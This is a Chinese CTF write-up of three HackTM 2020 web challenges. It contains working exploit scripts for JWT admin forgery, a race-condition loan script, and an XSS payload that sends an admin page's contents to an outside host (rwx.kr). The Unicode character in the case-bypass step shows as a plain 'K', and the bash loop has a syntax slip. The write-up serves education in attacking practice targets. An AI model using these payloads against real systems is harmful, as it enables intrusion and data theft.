HackTM CTF Quals 2020的部分web题复现

前言

好久没有做题了,这几天看到ctftime上有一个新的比赛因此做了一下。感觉题目的质量还行,收获不少的东西。

0x01 Draw with us
题目源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
const express = require("express");
const cors = require("cors");
const app = express();
const uuidv4 = require("uuid/v4");
const md5 = require("md5");
const jwt = require("express-jwt");
const jsonwebtoken = require("jsonwebtoken");
const server = require("http").createServer(app);
const io = require("socket.io")(server);
const bigInt = require("big-integer");
const { flag, p, n, _clearPIN, jwtSecret } = require("./flag");

const config = {
port: process.env.PORT || 8081,
width: 120,
height: 80,
usersOnline: 0,
message: "Hello there!",
p: p,
n: n,
adminUsername: "hacktm",
whitelist: ["/", "/login", "/init"],
backgroundColor: 0x888888,
version: Number.MIN_VALUE
};

io.sockets.on("connection", function(socket) {
config.usersOnline++;
socket.on("disconnect", function() {
config.usersOnline--;
});
});

let users = {
0: {
username: config.adminUsername,
rights: Object.keys(config)
}
};

let board = new Array(config.height)
.fill(0)
.map(() => new Array(config.width).fill(config.backgroundColor));
let boardString = boardToStrings();

app.use(express.json());
app.use(cors());
app.use(
jwt({ secret: jwtSecret }).unless({
path: config.whitelist
})
);
app.use(function(error, req, res, next) {
if (error.name === "UnauthorizedError") {
res.json(err("Invalid token or not logged in."));
}
});

function sign(o) {
return jsonwebtoken.sign(o, jwtSecret);
}

function isAdmin(u) {
return u.username.toLowerCase() == config.adminUsername.toLowerCase();
}

function ok(data = {}) {
return { status: "ok", data: data };
}

function err(msg = "Something went wrong.") {
return { status: "error", message: msg };
}

function onlyUnique(value, index, self) {
return self.indexOf(value) === index;
}

app.get("/", (req, res) => {
// Get current board
res.json(ok({ board: boardString }));
});

app.post("/init", (req, res) => {
// Initialize new round and sign admin token
// RSA protected!
// POST
// {
// p:"0",
// q:"0"
// }

let { p = "0", q = "0", clearPIN } = req.body;

let target = md5(config.n.toString());

let pwHash = md5(
bigInt(String(p))
.multiply(String(q))
.toString()
);

if (pwHash == target && clearPIN === _clearPIN) {
// Clear the board
board = new Array(config.height)
.fill(0)
.map(() => new Array(config.width).fill(config.backgroundColor));
boardString = boardToStrings();

io.emit("board", { board: boardString });
}

//Sign the admin ID
let adminId = pwHash
.split("")
.map((c, i) => c.charCodeAt(0) ^ target.charCodeAt(i))
.reduce((a, b) => a + b);

console.log(adminId);

res.json(ok({ token: sign({ id: adminId }) }));
});

app.get("/flag", (req, res) => {
// Get the flag
// Only for root
if (req.user.id == 0) {
res.send(ok({ flag: flag }));
} else {
res.send(err("Unauthorized"));
}
});

app.get("/serverInfo", (req, res) => {
// Get server info
// Only for logged in users

let user = users[req.user.id] || { rights: [] };
let info = user.rights.map(i => ({ name: i, value: config[i] }));
res.json(ok({ info: info }));
});

app.post("/paint", (req, res) => {
// Paint on the canvas
// Only for logged in users
// POST
// {
// x:0,
// y:0
// }
let user = users[req.user.id] || {};

x = req.body.x;
y = req.body.y;

let color = user.color || 0x0;

if (board[y] && board[y][x] >= 0) {
board[y][x] = color;
boardString = boardToStrings();
io.emit("change", { change: { pos: [x, y], color: color } });
res.send(ok());
} else {
res.send(err("Invalid painting"));
}
});

app.post("/updateUser", (req, res) => {
// Update user color and rights
// Only for admin
// POST
// {
// color: 0xDEDBEE,
// rights: ["height", "width", "usersOnline"]
// }
let uid = req.user.id;
let user = users[uid];
if (!user || !isAdmin(user)) {
res.json(err("You're not an admin!"));
return;
}
let color = parseInt(req.body.color);
users[uid].color = (color || 0x0) & 0xffffff;
let rights = req.body.rights || [];
if (rights.length > 0 && checkRights(rights)) {
users[uid].rights = user.rights.concat(rights).filter(onlyUnique);
}

res.json(ok({ user: users[uid] }));
});

app.post("/login", (req, res) => {
// Login
// POST
// {
// username: "dumbo",
// }

let u = {
username: req.body.username,
id: uuidv4(),
color: Math.random() < 0.5 ? 0xffffff : 0x0,
rights: [
"message",
"height",
"width",
"version",
"usersOnline",
"adminUsername",
"backgroundColor"
]
};

if (isValidUser(u)) {
users[u.id] = u;
res.send(ok({ token: sign({ id: u.id }) }));
} else {
res.json(err("Invalid creds"));
}
});

function isValidUser(u) {
return (
u.username.length >= 3 &&
u.username.toUpperCase() !== config.adminUsername.toUpperCase()
);
}

function boardToStrings() {
return board.map(b => b.join(","));
}

function checkRights(arr) {
let blacklist = ["p", "n", "port"];
for (let i = 0; i < arr.length; i++) {
const element = arr[i];
if (blacklist.includes(element)) {
return false;
}
}
return true;
}

server.listen(config.port, () =>
console.log(`Server listening on port ${config.port}!`)
);
现在我们看怎么获取flag,下面这段代码返回了flag:
1
2
if (req.user.id == 0) {
res.send(ok({ flag: flag }));
req.user.id是由JWT签名的,并且是在登陆的时候由服务器随机生成的。我必须去获得一个签名的token其中的id值是0。如果这个secret被用作签名并且没有暴露因此是安全的。
在其他的地方只有一个地方返回了签名的JWT/init:
1
2
3
4
5
6
let adminId = pwHash
.split("")
.map((c, i) => c.charCodeAt(0) ^ target.charCodeAt(i))
.reduce((a, b) => a + b);

res.json(ok({ token: sign({ id: adminId }) }));
为了让adminId为0,我们需要target xor pwHash=0这意味着target===pwHash
  • target是这个config.n的md5和。
  • pwHash是这个q*p的md5和。
我们需要得到config.n
现在我们继续往下看。
我们可以看到/serverInfo返回了一些在config的元素:
1
2
3
4
5
app.get("/serverInfo", (req, res) => {
let user = users[req.user.id] || { rights: [] };
let info = user.rights.map(i => ({ name: i, value: config[i] }));
res.json(ok({ info: info }));
});
每个用户的默认权限是:[ "message", "height", "width", "version", "usersOnline", "adminUsername", "backgroundColor" ]
我们需要去添加np到我们的用户权限列表中。
这个方法/updateUser允许我们去发送一个权限列表以添加到我们的用户权限列表中。
但是但我们POST["p","n"]时:返回You're not an admin!
我们可以看看他是怎么处理的:
1
2
3
4
if (!user || !isAdmin(user)) {
res.json(err("You're not an admin!"));
return;
}
Bypassing isAdmin(u)
1
2
3
function isAdmin(u) {
return u.username.toLowerCase() == config.adminUsername.toLowerCase();
}
我们需要去使username.toLowerCase() === adminUsername.toLowerCase()
如果我们尝试去登陆(/login)使用hacktm我们将会获取下面的信息:
1
Invalid creds
他是由于isValidUser(u)/login。它检查:
1
u.username.toUpperCase() !== config.adminUsername.toUpperCase()
因此,我们需要:
  • u.username.toUpperCase() !== config.adminUsername.toUpperCase()
  • username.toLowerCase() === adminUsername.toLowerCase()
幸运的是,unicode为我们提供一些字符满足下面的这些情况:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
"K".toUpperCase() = "K"
"K".toLowerCase() = "k"
```
###### 这意味着:`isValidUser("hacKtm")`是`true`并且`isAdmin("hacKtm")`也是`true`。
###### 我们POST到`/login`:
```text
POST /login HTTP/1.1
Host: 167.172.165.153:60001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Authorization: Bearer undefined
Content-Length: 23
Origin: http://167.172.165.153:60000
Connection: close
Referer: http://167.172.165.153:60000/

{"username":"hacKtm"}
我们获得了下列的JWT:
1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Content-Length: 199
ETag: W/"c7-FOLFBWmzAHyWeAJOurHR3CgFQ7w"
Date: Fri, 07 Feb 2020 11:57:47 GMT
Connection: close

{"status":"ok","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImRmZjNkYzBiLWI2ZmQtNDk0ZS04YThiLTMyOWZjNjAwZjRmYiIsImlhdCI6MTU4MTA3NjY2N30.wa1XTEXY6XbTr8M0XL2vGgHtTGjTDwViCK3tu2nPIJs"}}
现在我们能更新我们的权限!
但是我们尝试去POST["p","n"]/updateUser
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /updateUser HTTP/1.1
Host: 167.172.165.153:60001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImRmZjNkYzBiLWI2ZmQtNDk0ZS04YThiLTMyOWZjNjAwZjRmYiIsImlhdCI6MTU4MTA3NjY2N30.wa1XTEXY6XbTr8M0XL2vGgHtTGjTDwViCK3tu2nPIJs
Content-Length: 22
Origin: http://167.172.165.153:60000
Connection: close
Referer: http://167.172.165.153:60000/

{"rights": ["n", "p"]}
将会返回如下内容:
1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Content-Length: 205
ETag: W/"cd-ZjJARGQw8OB8MX5BzYLl/dWOAKM"
Date: Fri, 07 Feb 2020 12:09:55 GMT
Connection: close

{"status":"ok","data":{"user":{"username":"hacKtm","id":"dff3dc0b-b6fd-494e-8a8b-329fc600f4fb","color":0,"rights":["message","height","width","version","usersOnline","adminUsername","backgroundColor"]}}}
虽然没有报错,但是np没有被添加到用户权限列表中。
这是因为checkRights(arr)
Bypassing chkecRights(arr)
/updateUser():
1
2
3
if (rights.length > 0 && checkRights(rights)) {
users[uid].rights = user.rights.concat(rights).filter(onlyUnique);
}
这个checkRights返回了false由于rights包含这个字符串"n"/"p"
我们可以提供下面的两个事实来解决:
  • javascript使用toString()去访问对象的属性。
  • 具有一个元素的数组toStringtoString,例如:["n"].toString()=>"n"
当我们POST[["p"],"n"]/updateUser会返回如下内容:
1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Content-Length: 217
ETag: W/"d9-uCy43hPNMI1ebwEnfBO1u7Arbg8"
Date: Fri, 07 Feb 2020 12:24:10 GMT
Connection: close

{"status":"ok","data":{"user":{"username":"hacKtm","id":"dff3dc0b-b6fd-494e-8a8b-329fc600f4fb","color":0,"rights":["message","height","width","version","usersOnline","adminUsername","backgroundColor",["n"],["p"]]}}}
现在我们访问/serverInfo:
1
{"status":"ok","data":{"info":[{"name":"message","value":"Hello there!"},{"name":"height","value":80},{"name":"width","value":120},{"name":"version","value":5e-324},{"name":"usersOnline","value":12},{"name":"adminUsername","value":"hacktm"},{"name":"backgroundColor","value":8947848},{"name":["n"],"value":"54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979"},{"name":["p"],"value":"192342359675101460380863753759239746546129652637682939698853222883672421041617811211231308956107636139250667823711822950770991958880961536380231512617"}]}}
Getting the flag
计算q使用n/p我们获得:
1
q = 283463585975138667365296941492014484422030788964145259030277643596460860183630041214426435642097873422136064628904111949258895415157497887086501927987
我们POSTpq/init并且返回:
1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Content-Length: 150
ETag: W/"96-RDz7xTme21gWlV49DxgadRCF8Cs"
Date: Fri, 07 Feb 2020 13:08:28 GMT
Connection: close

{"status":"ok","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MCwiaWF0IjoxNTgxMDgwOTA4fQ.6e046oNRejSwF6ymM2BaxwxvTq7y42J6jfv5bnKzj1Q"}}
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MCwiaWF0IjoxNTgxMDgwOTA4fQ.6e046oNRejSwF6ymM2BaxwxvTq7y42J6jfv5bnKzj1Q是admin的token。
GET/flag使用admin的token:
1
2
3
4
5
6
{
"status": "ok",
"data": {
"flag": "HackTM{Draw_m3_like_0ne_of_y0ur_japan3se_girls}"
}
}
测试代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var admin = "hacktm";
var user = "hacKtm";

console.log("Username: " + user);
console.log("isAdmin: " + (user.toLowerCase() == admin.toLowerCase()));
console.log("isValidUser: " + (user.toUpperCase() !== admin.toUpperCase()));


// var uc_arr = admin.toUpperCase().split("");
// var lc_arr = admin.toLowerCase().split("");

// for(i=0;i<100000;i++){
// var c = String.fromCharCode(i);
// if (uc_arr.includes(c.toUpperCase()) || lc_arr.includes(c.toLowerCase())){
// console.log(i, c, c.toUpperCase(), c.toLowerCase());
// }
}
slove.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests

url = "http://167.172.165.153:60001"

# create user with the admin username
resp = requests.post(url + "/login",
json={"username": "hacKtm"})
resp.raise_for_status()
token = resp.json()['data']['token']
print("[*] Created user with admin username")

# add illegal rights
resp = requests.post(url + "/updateUser",
json={"rights": [["n"], ["p"]]},
headers={"Authorization": "Bearer %s" % token})
resp.raise_for_status()
print("[*] updated rights")

# fetch secret config values
resp = requests.get(url + "/serverInfo",
headers={"Authorization": "Bearer %s" % token})
resp.raise_for_status()
print("[*] fetched secret config values")
print(resp.text)
server_info = resp.json()
for key in server_info["data"]["info"]:
if isinstance(key["name"], list):
print("[*] %s = %s" % (key["name"][0], key["value"]))
payload.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import jwt  # pip install pyjwt
import requests

url = "http://167.172.165.153:60001"

data = {
"p": "54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979",
"q": "1"
}

resp = requests.post(url+"/init", json=data)
token = resp.json()['data']['token']
print(token)
jwt_claim = jwt.decode(token, verify=False, algorithms=['HS256'])
assert jwt_claim['id'] == 0

resp = requests.get(url+"/flag", headers={"Authorization": "Bearer %s" % token})
print(resp.json())
参考链接
https://ctftime.org/writeup/18186
https://spotless.tech/hacktm-2020-drawing.html
0x02 My Bank
1
2
3
4
Who’s got my money?
Please abstain from brute-forcing files.
http://178.128.175.6:50090/
Author: nytr0gen
通过条件竞争漏洞我们可以借超过600.00 tBTC从而购买flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
// exploit.js
const request = require('request');
function solve() {
request('http://178.128.175.6:50090/register', (err, res, body) => {
let cookie = res.headers['set-cookie'][0].split(';')[0]
let token = /csrf_token.+value="([^"]+)"/.exec(body)[1];
request('http://178.128.175.6:50090/register', {
"method": "POST",
"headers": {
"Cookie": cookie,
"Content-Type": "application/x-www-form-urlencoded"
},
"body": "csrf_token=" + token + "&username=posix"
}, (err, res, body) => {
let cookie = res.headers['set-cookie'][0].split(';')[0];
request('http://178.128.175.6:50090/', {
"headers": {
"Cookie": cookie
}
},(err, res, body) => {
let token = /csrf_token.+value="([^"]+)"/.exec(body)[1];
let cookie = res.headers['set-cookie'][0].split(';')[0];
let queue = 0;
for (let i = 0; i < 30; ++i) {
queue += 1;
request('http://178.128.175.6:50090/', {
"method": "POST",
"headers": {
"Cookie": cookie,
"Content-Type": "application/x-www-form-urlencoded"
},
"body": "csrf_token=" + token + "&loan=100"
}, (err, res, body) => {
queue -= 1;
if (queue === 0) {
let cookie = res.headers['set-cookie'][0].split(';')[0];
request('http://178.128.175.6:50090/', {
"headers": {
"Cookie": cookie
}
}, (err, res, body) => {
let money = /Money: ([^ ]+)/.exec(body)[1];
money = parseInt(money.replace(/,/g, ''))
if (money >= 1400) {
get_flag(cookie);
} else {
console.log('[*] Trying, Got ' + money);
solve();
}
})
}
})
}
})
});
})
}
function get_flag(cookie) {
request('http://178.128.175.6:50090/store', {
"headers": {
"Cookie": cookie
}
}, (err, res, body) => {
let token = /csrf_token.+value="([^"]+)"/.exec(body)[1];
request('http://178.128.175.6:50090/store', {
"method": "POST",
"headers": {
"Cookie": cookie,
"Content-Type": "application/x-www-form-urlencoded"
},
"body": "csrf_token=" + token + "&item=1337"
}, (err, res, body) => {
let cookie = res.headers['set-cookie'][0].split(';')[0];
request('http://178.128.175.6:50090/store', {
"headers": {
"Cookie": cookie
}
}, (err, res, body) => {
let flag = /HackTM{.*}/.exec(body)[0];
console.log("[!] flag is " + flag);
})
});
})
}
solve();
bash的脚本
1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash
url="http://178.128.175.6:50090/"
ua="User-Agent: Mozilla/5.0"
cookie="session=.eJwNy0sKAjEMANC7ZG1hmmTy8TLStAmIoKDOSry7vv37wHw96_J-3PIOZwhCNNlimhOPlTor3IYOWjkijbOHFBac4Diu6z-Ute9SvWGZNaaNm3tko4mdQnRXF_j-AEMAHN8.Xjaggw.o-B9vO_i0Fnredto0K7aoEXTCGI"
ssrf=`curl -s "$url" -H "$ua" -H "Cookie: $cookie" 2>&1 | pcregrep -o1 'name=\"csrf_token\" type=\"hidden\" value=\"(.*)\"' -`

for i in `seq 15`;
do curl "$url" -H "$ua" -H "Cookie: $cookie" --data "csrf_token=$ssrf&loan=100" &
; done

sleep 6 && echo "[*] maybe haxed?" && curl -s 'http://178.128.175.6:50090/' -H "$ua" -H "Cookie: $cookie" 2>&1 | pcregrep -o1 "Money: (.*) tBTC"
参考链接
https://spotless.tech/hacktm-2020-My%20Bank.html
https://blog.rwx.kr/hacktm-ctf-quals-2020/#my-bank
0x03 Humans of Dancers
1
2
3
Please do not brute-force for any files or directories.
Recommended browser: Chrome
http://178.128.175.6:20900/
view-source:http://178.128.175.6:20900/static/app.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
$(document).ready(function() {

Object.freeze(location);

var DEFAULT_ROUTE = '/page/acasa';

var $page = $('.page');
var $pageFrame = $page.find('.page__frame');
var currentRoute = null;

var isValidUrl = function (url) {
if ((url.toLowerCase().startsWith('//'))) {
url = "https:" + url;
}

let isValidUrl = isValidJSURL(url);
let isUrl = isValidPattern(url);
let sameDomain = url.toLowerCase().startsWith('/') && !url.substr(1).toLowerCase().startsWith('/');

let ret = ((isValidUrl && isUrl) || sameDomain);

return ret;
};

var expression = /^(https?\:\/\/)?[a-zA-Z0-9_-]+(.[a-zA-Z0-9_-]+)*.[a-zA-Z]{2,4}(\/[a-zA-Z0-9_]+){0,15}(\/[a-zA-Z0-9_]+.[a-zA-Z]{2,4}(\?[a-zA-Z0-9_]+\=[a-zA-Z0-9_]+)?)?(\&[a-zA-Z0-9_]+\=[a-zA-Z0-9_]+){0,15}$/gi;
var regex = new RegExp(expression);
var isValidPattern = function(url) {
var urlNoQueryString = url.split('?')[0];
return (url != null && !(urlNoQueryString.match(regex) === null || (url.split(" ").length - 1) > 0));
};

var isValidJSURL = function (url) {
if (!(url.toLowerCase().startsWith("http://") || url.toLowerCase().startsWith('https://'))) {
url = 'https://' + url;
}

var toOpenUrl;
try {
toOpenUrl = new URL(url);
return toOpenUrl.origin !== 'null';
} catch (e) {}

return false;
};

$(window).bind('hashchange', function() {
// parse hash
var hash = location.hash;
if (hash.length > 1) {
hash = hash.slice(1);
}

var route = decodeURIComponent(hash.split('@')[0]);
if (route === '' || !isValidUrl(route)) {
// goto default page
route = DEFAULT_ROUTE;
}

var scrollToID = hash.match(/#([a-z_]+)$/);
if (scrollToID !== null) {
scrollToID = scrollToID[0];
route = route.slice(0, -scrollToID.length);
}

if (route === currentRoute) {
var frame$ = window.frames[0].window.$;
var frame$id = frame$(scrollToID);
if (frame$id.length == 1) {
frame$('html, body').animate({
scrollTop: frame$id.offset().top
}, 400);
}

return;
}

$page.removeClass('page--frame')
.removeClass('page--' + currentRoute)
.addClass('page--loading');

$pageFrame.attr('src', route);
$pageFrame.one('load', function(e) {
setTimeout(function() {
// if exists show it
currentRoute = route;

$page.removeClass('page--loading')
.addClass('page--frame')
.addClass('page--' + route);

var frame = e.target.contentWindow;
var frame$ = frame.$;
if (!frame$) {
// if it doesnt exists show 404
currentRoute = '404';

$page.removeClass('page--loading')
.addClass('page--404');

return;
}

if (scrollToID) {
var frame$id = frame$(scrollToID);
if (frame$id.length == 1) {
frame$('html, body').animate({
scrollTop: frame$id.offset().top
}, 400);
}
}
}, 100);
});
});

$(window).trigger('hashchange');

});
如果您查看/static/app.js文件,它将使用哈希值中给出的字符串作为参数调用isValidUrl函数,并检查它是否为安全地址,然后将其设置为iframe标记的src属性。
1
2
/^(https?\:\/\/)?[a-zA-Z0-9_-]+(.[a-zA-Z0-9_-]+)*.[a-zA-Z]{2,4}(\/[a-zA-Z0-9_]+){0,15}(\/[a-zA-Z0-9_]+.[a-zA-Z]{2,4}(\?[a-zA-Z0-9_]+\=[a-zA-Z0-9_]+)?)?(\&[a-zA-Z0-9_]+\=[a-zA-Z0-9_]+){0,15}$/gi
// matches with https://javascript:80/1-%60html;t/aa/b/c,pa?a=1%60,alert(1) ...
首先isUrl使用的正则表达式十分的复杂。这样可以确保字符不会全部转义并匹配所有的字符。因此我可以绕过用https://javascript:80/1-%60html;t/aa/b/c,pa?a=1%60,alert(1)
1
2
3
4
5
6
7
8
9
10
11
var isValidJSURL = function (url) {
if (!(url.toLowerCase().startsWith("http://") || url.toLowerCase().startsWith('https://'))) {
url = 'https://' + url;
}
var toOpenUrl;
try {
toOpenUrl = new URL(url);
return toOpenUrl.origin !== 'null';
} catch (e) {}
return false;
};
isValidJSURL函数检查给定的URL的来源。对于https://javascript:80/1-%60html;t/aa/b/c,pa?a=1%60,alert(1)起源于javascript:80是被认可的。
1
2
3
4
// csp
Content-Security-Policy: base-uri 'self'; block-all-mixed-content; frame-ancestors 'self'; object-src 'none'; connect-src 'self'; frame-src 'self' https://www.youtube.com https://www.google.com; script-src 'self' 'unsafe-inline' https://cdnjs.cloudflare.com https://www.google.com/recaptcha/api.js https://www.gstatic.com/recaptcha/; report-uri /api/report-csp
// app.js
Object.freeze(location);
如果我们成功绕过了上面的过滤功能。则可以通过操控哈希值运行任意脚本,但是cspObject.freeze可以防止数据的外带。但是我们可以用top.location.replace('...')location移动到外部以发送数据。
1
http://178.128.175.6:20900/#javascript:80/1-%60html;t/aa/b/c,pa?a=1%60,fetch('/admin').then(x=%3Ex.text()).then(x=%3Etop.location.replace('//rwx.kr/?'%2bbtoa(x)))
上面的地址获取/admin页面,并将其发送到攻击者的服务器。
1
<!-- <a href="#/page/sugestii">Sugestii</a> -->
以上注释位于页面中间。
1
2
3
4
5
6
7
8
<form action="" method="post">
<input id="path" name="path" type="hidden" value="/#/page/acasa">
<input id="csrf_token" name="csrf_token" type="hidden" value="Ijc2NTM2MGNiOTBkZTI4Y2E4ZGExMGRkMTk0NTAwNjE3MGNkNjZmYjAi.XjdpKQ.sFQg9QIAZLFkqSWYsMgfljOT5UA">
<textarea cols="60" id="message" name="message" placeholder="Scrie parerea ta" required rows="20"></textarea>
<script src='https://www.google.com/recaptcha/api.js' async defer></script>
<div class="g-recaptcha" data-sitekey="6LfE7dQUAAAAABOc1rpiWCU0CQF9Msv2XBdvgd5q"></div>
<input type="submit" value="Trimite sugestie">
</form>
你可以看到隐藏类型的输入标签,你可以在这个地方输入payload/#javascript:80/1-%60html;t/aa/b/c,pa?a=1%60,fetch('/admin').then(x=%3Ex.text()).then(x=%3Etop.location.replace('//rwx.kr/?'%2bbtoa(x)))管理员确认后,你会收到/admin页面的内容。
1
2
3
4
5
6
// log
178.128.175.6 - - [03/Feb/2020:01:33:35 +0900] "GET /?PHA+CkhhY2tUTXs2NzA4ZTdhOGQxYWM4YmZhYWFlYjNmNmFhNzY2YjJjOTAzYmE3ZTgyNjQ2Y2E1YjgzYjVhMjBjOTQwYzU0ZjlhfQo8L3A+Cg== HTTP/1.1" 200 67 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/79.0.3945.130 Safari/537.36"
// decoded
<p>
HackTM{6708e7a8d1ac8bfaaaeb3f6aa766b2c903ba7e82646ca5b83b5a20c940c54f9a}
</p>
现在我们可以获得flag了。
参考链接
https://blog.rwx.kr/hacktm-ctf-quals-2020/#my-bank